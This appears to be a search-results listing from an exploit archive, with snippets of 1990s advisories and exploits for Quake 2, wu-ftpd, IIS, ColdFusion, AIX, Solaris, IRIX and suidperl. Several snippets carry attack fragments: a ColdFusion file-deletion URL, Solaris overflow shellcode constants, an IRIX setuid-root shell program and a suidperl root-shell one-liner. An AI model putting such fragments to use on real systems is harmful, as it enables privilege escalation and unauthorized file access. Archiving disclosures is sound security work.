1704 matches found
quake2-bof-DoS.txt
Date: Wed, 20 Jan 1999 11:32:53 -0900 From: Leif Sawyer To: [email protected] Subject: Quake 2 Server Crash As the admin of a number of quake servers, I get a lot of grief when the servers stop responding. So imagine my shock today when I found this in the log files: this occurrs multiple time...
irix.wu-ftpd.bof.txt
Date: Thu, 20 May 1999 15:00:00 -0700 From: Lance James To: [email protected] Subject: IRIX ftpd overflow Regarding the wu-ftpd buffer overflow, it seems vulnerable in IRIX as well. While testing it, it seemed to have core dumped and dumped the passwd file in there as well, but it's only core...
big.brother.1.09.b-c.txt
Date: Mon, 26 Apr 1999 06:49:59 -0400 From: Sean MacGuire To: [email protected] Subject: FW: Security Notice: Big Brother 1.09b/c http://www.maclawran.ca/bb/ for more info on Big Brother. -----FW: ----- Date: Mon, 26 Apr 1999 06:49:59 -0400 EDT From: Sean MacGuire To: [email protected] Subject:...
BSDI BSDOS 4.0 FreeBSD 3.2 NetBSD 1.4 x86 OpenBSD 2.5 - UFS Secure Level 1
BSDI BSDOS 4.0 FreeBSD 3.2 NetBSD 1.4 x86 OpenBSD 2.5 - UFS Secure Level 1 source: https://www.securityfocus.com/bid/510/info In 4.4BSD derivatives there are four secure levels that provide for added filesystem security among other things over and above the regular unix permission systems. Part o...
Microsoft IIS 3.0/4.0 - Double Byte Code Page
source: https://www.securityfocus.com/bid/477/info This vulnerability could allow a web site viewer to obtain the source code for .asp and similar files if the server's default language Input Locale is set to Chinese, Japanese or Korean. How this works is as follows: IIS checks the extension of t...
Microsoft Windows NT 4.0 SP4 - Known DLL Cache
Microsoft Windows NT 4.0 SP4 - Known DLL Cache source: https://www.securityfocus.com/bid/234/info The names and mappings of kernel objects in NT are cached in the "object namespace". In this area, DLL mappings are kept in a section called KnownDlls. By manipulating the namespace, it is possible t...
Allaire ColdFusion Server 4.0 - Remote File Display / Deletion / Upload / Execution
source: https://www.securityfocus.com/bid/115/info To display and delete any file on the system use an URL of the following form: http://www.victim.test/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=C:\the\target\file To upload files to the sever first find out the location of the sample code on the...
Greg Matthews - Classifieds.cgi 1.0 MetaCharacter
Greg Matthews - Classifieds.cgi 1.0 MetaCharacter source: https://www.securityfocus.com/bid/2020/info Classifieds.cgi is a perl script part of the classifieds package by Greg Matthews which provides simple classified ads to web sites. Due to improper input validation it can be used to read files ...
IBM AIX 4.3 - infod Local Privilege Escalation
IBM AIX 4.3 - infod Local Privilege Escalation / source: https://www.securityfocus.com/bid/370/info Certain versions of AIX ship with an Information Daemon, infod. This program is designed to provide information about the OS and installed ancilliary programs. The daemon which runs as root, does n...
Digital UNIX 4.04.0 B4.0 D - SUIDSGID Core File
Digital UNIX 4.04.0 B4.0 D - SUIDSGID Core File source: https://www.securityfocus.com/bid/74/info Digital UNIX 4.0 will follow symlinks while writting core files if two setuid programs dump core in sucession. The core file is owned by root but with the user's groud id. The core file permissions a...
Solaris 2.4 - binfdformat Local Buffer Overflow
Solaris 2.4 - binfdformat Local Buffer Overflow --------------------------- lion24.c --------------------------------- / Solaris 2.4 / include include include include define BUFLENGTH 264 define EXTRA 36 define STACKOFFSET -56 define SPARCNOP 0xa61cc013 uchar sparcshellcode =...
SGI IRIX 5.3 - 'pkgadjust' Local Privilege Escalation
source: https://www.securityfocus.com/bid/419/info A vulnerability exists in the pkgadjust utility shipped with Irix 5.3 from Silicon Graphics. This vulnerability can result in the compromise of the root account. % cat getroot.c int main setuid0; chown"sh",0,0; chmod"sh",04755; return 0; % cc...
suid_perl 5.001 vulnerability
Exploit for linux platform in category local exploits ============================= suidperl 5.001 vulnerability ============================= !/usr/bin/suidperl -U $ENVPATH="/bin:/usr/bin"; $=0;$=0; exec"/bin/bash"; 0day.today 2018-04-09...
